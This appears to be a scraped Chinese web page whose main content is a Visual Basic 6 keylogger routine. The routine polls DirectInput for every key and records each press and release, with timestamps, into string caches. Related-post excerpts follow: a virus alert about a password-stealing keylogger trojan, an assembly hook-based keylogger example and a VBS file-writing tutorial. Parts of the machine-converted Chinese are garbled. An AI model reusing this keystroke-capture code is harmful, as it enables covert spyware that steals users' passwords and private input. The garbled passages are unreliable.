private sub timer1_timer()
' dx鍵盤記錄
'on error resume next
static keyarray(255) as byte
dim key_count as integer, vkeycode as integer, vkeyasc as string
di_keyboard.getdevicestatekeyboard key_state '輪詢鍵盤，並把鍵盤輸入儲存到key_state結構中
for key_count = 0 to 255
if keyarray(key_count) <> key_state.key(key_count) then '判斷是否有鍵被按下或彈起，key_count代表的是被按下的鍵的掃瞄碼
vkeycode = mapvirtualkey(key_count, 1) '掃瞄碼轉偽程式碼
vkeyasc = chr(mapvirtualkey(vkeycode, 2)) '偽程式碼轉換為ascii字元
if vkeyasc <> chr(0) then
if getkeystate(vk_capital) mod &hff80 = 1 then
vkeyasc = ucase(vkeyasc) '根據大小寫鎖定鍵判斷大小寫
else
vkeyasc = lcase(vkeyasc)
end if
if vkeyasc = " " then vkeyasc = "【空格】"
else
vkeyasc = "【" & cstr(vkeycode) & "】" '如果是不能顯示的鍵，則直接顯示偽程式碼
end if
if key_state.key(key_count) = 0 then vkeyasc = vkeyasc & "|" & "up" else vkeyasc = vkeyasc & "|" & "down" '記錄是按下(down)還是彈起(up)
datakeycachedx = datakeycachedx & vkeyasc & " " '儲存按鍵，以空格為分隔符
datakeycachedxmore = datakeycachedxmore & now() & "|" '儲存按鍵時間資訊，以|為分隔符
text1.text = datakeycachedx
end if
keyarray(key_count) = key_state.key(key_count)
next
end sub
鍵盤記錄木馬 鍵盤記錄員
鍵盤記錄員108627 win32.pswtroj.onlinegames.xn.108627 這個病毒是乙個盜號木馬程式。它利用鍵盤記錄的方法，記錄下使用者輸入的全部資訊，進行加密後傳送給病毒作者。病毒作者通過一定技術手段，就可以從這些資訊中篩選出使用者的各類帳號和密碼。此篇預警播報中的病毒，是乙...
鍵盤記錄程式
這是乙個 windows環境下32位組合語言程式設計 中的例子，在動態鏈結庫和鉤子那章，作為乙個鉤子的示例程式。原理很簡單，裝個全域性鉤子，然後鉤住所有的鍵盤資訊即可。但是這裡存在兩個問題，一是裝什麼型別的全域性鉤子才能鉤住所有程序的鍵盤資訊，二是鉤住的鍵盤資訊的翻譯。大家都知道，鉤子函式鉤住的資訊...
小鍵盤記錄
小鍵盤記錄 2010年03月21日 發指令碼之前，我想講一下關於寫入檔案的問題，看了幾個教程，對於我這樣的菜鳥十分生澀，很難理解。我覺得有必要再講講，以下是我自己理解的，可能不對，請高手指教。首先講這個 vbs const forreading 1 vbs const forwriting 2 也有...